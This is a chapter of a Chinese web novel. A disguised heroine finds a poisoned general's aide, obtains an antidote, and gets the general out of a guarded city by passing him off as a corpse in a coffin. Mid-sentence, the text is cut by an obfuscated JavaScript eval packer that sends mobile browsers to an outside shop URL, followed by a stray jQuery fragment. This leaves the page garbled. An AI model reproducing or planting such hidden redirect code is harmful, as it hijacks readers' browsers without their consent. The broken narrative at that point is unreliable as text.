38. 拿到神秘解药
    沈凌云迅速跟上她。

    对方看着脸色并不好,且从医馆出来,难不成肖台玉受伤了?

    她一路跟着对方,很快来到城西。对方很敏锐,反复在城西绕了几圈,似乎也是在担心被人跟踪。

    沈凌云原本想着直接上去相认一番,但她并不清楚,是否会过于引人注目。毕竟方才在城门那,她那番发言让人印象深刻。

    最终她跟着对方进入一条街,这里头环境有些复杂,应该就是城西汀枯小街。

    沈凌云一开始听那大姐介绍时,以为汀枯小街是那些穷苦百姓住的地方,没想到里面与她所想大相径庭。

    这条小街虽然名称是小街,但实际上占地面积还挺大,里头有简陋的房屋,但也有较为典雅的院子。这两种截然不同的风格,完美混合在这条街,倒是能满足很多人的需求。

    沈凌云看着对方走进一家院子,仔细观察了会周围环境,随后装作没找到人的模样离开。

    她找了个牙人,打算也在这地方租一个小房子。倒是很顺利,不到一个时辰一切都已办妥当。弄完一切后,天还没黑,她继续在城中“寻找”,一直找到天黑,才走进一家小铺子里解决晚餐。

    店子里都是女人,都在畅饮胡侃。沈凌云进去点了壶酒,就着点吃食,开始用餐。周围都已酒过三巡,沈凌云才颤颤巍巍起身,趴在桌子上痛哭。

    “我的命怎么那么惨啊!上有八十老母,下有几个嗷嗷待哺的孩子,现在还出了这档子事,这不是要我的命吗?”

    这凄厉的声音一下子吸引了周围人的注意。

    “这人我见过,今日在城门说是来找自家夫郎的。哭的这般伤心,恐怕是出了事。”周围窃窃私语起来,还有人上前劝慰起沈凌云。

    沈凌云哭嚎了一会,便踉踉跄跄地走到前头结账。在兜里扣扣嗖嗖,终于掏出酒钱,然后踉跄着出了门。

    一路回到汀枯小街,脸上都是被生活摧残的绝望模样。等关上那扇破旧的门,她拍拍脸,用冷水洗了个脸。换上一身黑色夜行服后,她便偷摸地出了门。

    来到今日跟踪到的院子,从一偏僻的围墙翻进去。来到院子的偏房,沈凌云抬起手敲了敲门。

    里头传来走动声,一会便有一个人影走到门后,“谁?”

    "属下沈三,奉肖大人的命来寻大将军。"沈凌云立即将头靠近门,轻声说到。

    吱呀一声,门被拉开。

    白天见到的女人一脸憔悴,满脸哀愁。瞧见沈凌云有些惊喜道:“沈三,你何时到达这陈水的?”

    “唐校尉,属下今日入城,碰巧在医馆外遇见您,但因在大街上属下不好直接唤您,便一路跟来了这。趁着入夜,便翻墙来寻您与大将军。”沈凌云转头看向其他房间。

    “大将军可还好,伤势是否严重?其他人呢?”

    “你怎知大将军受伤了?”唐校尉疑惑。

    “你进来谈话,我将事情一一道来。”沈凌云随即被拉进去,往凳子上一坐。

    唐校尉面色凝重,“想必此前的情况你也已经了解,我便与你讲讲到这陈水后的事。”

    “大军还在郑州边界,离这还有五六天的时日才能到,所以如今陈水进出到算是宽松。我们一行人一进陈水,晚上便遇刺。那伙人武力高强,我们的人皆不是她们的对手,大将军更是中了暗器。暗器上沾了毒,大将军浑身起疹子,与军中一些将士的症状一般无二。”

    “所有人都已丧命,我便带着大将军到了这。如今要出城格外难,我带着行动不便,只能暂时住在这。”

    沈凌云大拇指摩挲着食指,抿唇道:“大将军如今可痊愈,可、可有生命危险?这毒我们在陈水时碰到令人浑身溃烂的药粉,所有大夫都无计可施。”

    “那些药粉有些药材大夫并不知,故我叫城中大夫拿了些治普通疹子的药,大将军身上那些疹子倒是好了些,但总是隔一天便发高热。昨日烧刚退,今日午时无故又起了高烧,喝了药便早早睡下。这烧下去也不是方法啊,我也不知如何是好。”唐校尉的手臂不安地抖动,说完后焦虑地拿起手边的茶一饮而尽。

    沈凌云舒展眉头,“唐校尉,若是一直呆在这也不是办法,我们需尽快离开。我有一计,只是...”

    “何计?莫要吞吞吐吐,速速道来。”

    沈凌云将自己的计划一说完,唐校尉的脸色一下子就变了。

    “你,你,你...”

    “唐校尉,你消消气。我这也是不得已而为之,如今想要出城得经重重检验,属下一切都是为了肖大将军。大将军吉人自有天相,定不会有任何影响。”

    唐校尉平复了心情,再三犹豫终于松了口。

    “也别无她法,就按你说的半吧,希望大将军不会怪罪我们。”

    两人又继续商议具体细节,结束后沈凌云翻墙回到自己的住处。

    第二日,沈凌云先是拿着之前在永川医馆那得到的记账本,去这的医馆询问。唐校尉说大夫不知道其中几味药,但她手上不就有详细的药材记录吗。

    “大夫,我想问问这几样药材混在一起,可有法子可解?”

    沈凌云拿着之前用来记录的纸张,走到在摆弄药材的老太面前。

    大夫放下手中的药材,拿起纸张,“这前头几味药混在一起,只是能令人浑身瘙痒。”说着抬头打量了下沈凌云。

    “你瞧着不是爱捣蛋的年岁了,不必用这捉弄她人。”调侃了下便接着往下看,突然眉头紧蹙。

    “这前头都是些普通药材,只是这最后这一味颠茄极其特殊。若是单用并无任何毒性,可若是与前头几味药一同熬煮,便会产生极强的毒性,能令人浑身溃烂。若是与后头几味药一起,能令人起些小疹子,浑身奇痒无比。”

    这大夫摇晃脑袋,有些得意,“算你走运,遇到了我。我原本是益州人,这颠茄在那盛产,我自幼便知如何解。倒是郑州这虽有些颠茄,但只当是普通草木。”

    沈凌云将肖台玉的病状描述了下,这大夫很快给了药方。完成一项任务后,沈凌云便去执行重头任务。将一切采购完毕,请了一伙专业人士便回到住处,这时候已经是下午。

    入夜后,沈凌云住处传来一阵阵哭声,让这汀枯小街显得很是瘆人。

    她再次翻墙来到肖台玉这院子时,肖台玉的烧退了些,但整个人还处于昏迷状况。沈凌云直接就住在这,只等明天一早起来行动。

    唐校尉这时很是焦躁不安,既怕计划失败,又怕肖台玉醒后降罪。

    天蒙蒙亮时,沈凌云便拿出自己的化妆工具,将肖台玉化成了一具腐烂的尸体。脸部已经开始腐烂,让人瞧一眼仿佛都能闻到一股臭味。

    喂了些安神汤后,她与唐校尉抬着肖台玉来到沈凌云住的地方,将其放进准备好的特殊棺材里。棺材左右两边做了隐蔽的通风口,即使棺椁钉死,肖台玉在里面也不会窒息而亡。

    事毕,沈凌云雇的人便抬着棺椁

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493615|138015||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    往城门走,沈凌云头缠白布,眼含热泪,显然十分伤心。一旁的唐将军瘸着腿,脸上的表情有些僵硬。

    她看了沈凌云一眼,震惊于沈凌云精湛的演技。实际上,沈凌云提前抹了些刺激膏药。

    街上的人都议论纷纷,到达城门时,周围的讨论声更是压不住。

    “你们这是干什么的?”一行人果然被拦住询问。

    沈凌云心想,不是废话,这阵仗难道看不出来吗?

    “大人,我这老丈人人没了,在这人生地不熟的,我想着带回耒县安葬。”

    今天这大姐很严苛,“这般巧?”

    说完绕着棺椁一圈,毫无人性的开口,“将棺椁打开看看,不管是什么,我都得看看。谁知道里面是你说的死人,还是一个活人。”

    这违背“死者为大”信条的话,立刻激起周围群众的不满。

    “这人都没了,没道理开棺看尸啊,这简直是畜生。”

    周围人打抱不平的声音越来越大,守城的士兵厉声喝道:“若是这棺椁里就是那贼人,你们谁担当的起。这人我从未见过,谁知道她耍什么把戏!”

    四周沉默一瞬,有人开口道:“这人我们很多人都见过,这几日都在城中找夫郎,她家里出了大事,还在酒馆里哭,我们都能作证啊。”

    好些人都站出来为沈凌云等人说话。这时这位大姐旁边响起一道声音,“老吴,我知道她,前几日她进城我瞧见过。她是个苦命人,而且是个人都不会那这等事来戏耍。”

    这番话不仅攻击到沈凌云,还让一旁的唐校尉脸色大变。她隐蔽地瞪了眼沈凌云。

    “各位大人,草民是个堂堂正正的女人,定无其它意图。但我也不愿大人为难,那便,那便看看吧。”忍不住留下几滴绝望的眼泪。

    大家都于心不忍,守城的士兵看沈凌云并没有任何心虚的情绪,脸上也有几分犹豫。但最终开口道:“虽说你面无疑色,但还是应该看看。”

    说完便命令抬棺的几人将其打开,沈凌云还真有些佩服这人,严谨并且不会因为周围之人的质疑就放弃自己的原则。实话说,沈凌云很欣赏这样坚定负责的人。

    捣鼓一会,棺椁很快就被打开一个小口,一股腐烂的臭味飘出,周围人都忍不住捂住口鼻。几个人向前一看,都被肖台玉那副尊容吓一跳。

    沈凌云示意一旁的唐校尉。

    唐校尉立即大喝一声,扑上去关上棺椁,“没天理了啊,我夫郎人死了还要遭这劫难。我儿为了葬父,如今都不知道被卖到哪去了,现在他爹又被开棺,我们都不活了。”

    沈凌云立即扶住唐校尉,哭嚎道:“娘啊,娘,以后你就是我亲娘,我们都要好好活着。连带安郎那一份活下去啊!”

    这士兵面色讪讪,“没什么问题,你们出去吧!”

    两人一脸悲怆,带着一行人出了城。离陈水城一段距离后,沈凌云解下头顶的白布。

    “辛苦各位了,这些是几位剩下的报酬,我们便就此别过吧。”她转头对着这行人,示意她们停下。

    “沈小姐很是机敏,但您是我们的雇主,意欲何为我们不便了解。但请您放心,七镜阁不会透露出您的任何消息,就此别过。”

    这行人离开后,沈凌云和唐校尉便把肖台玉扶出来,两人骑上马,朝驻地赶去。沈凌云身强体壮,负责带着肖台玉。一路颠簸,沈凌云专心致志赶路时,突然耳边响起一道声音。

    “沈三,这是在哪?”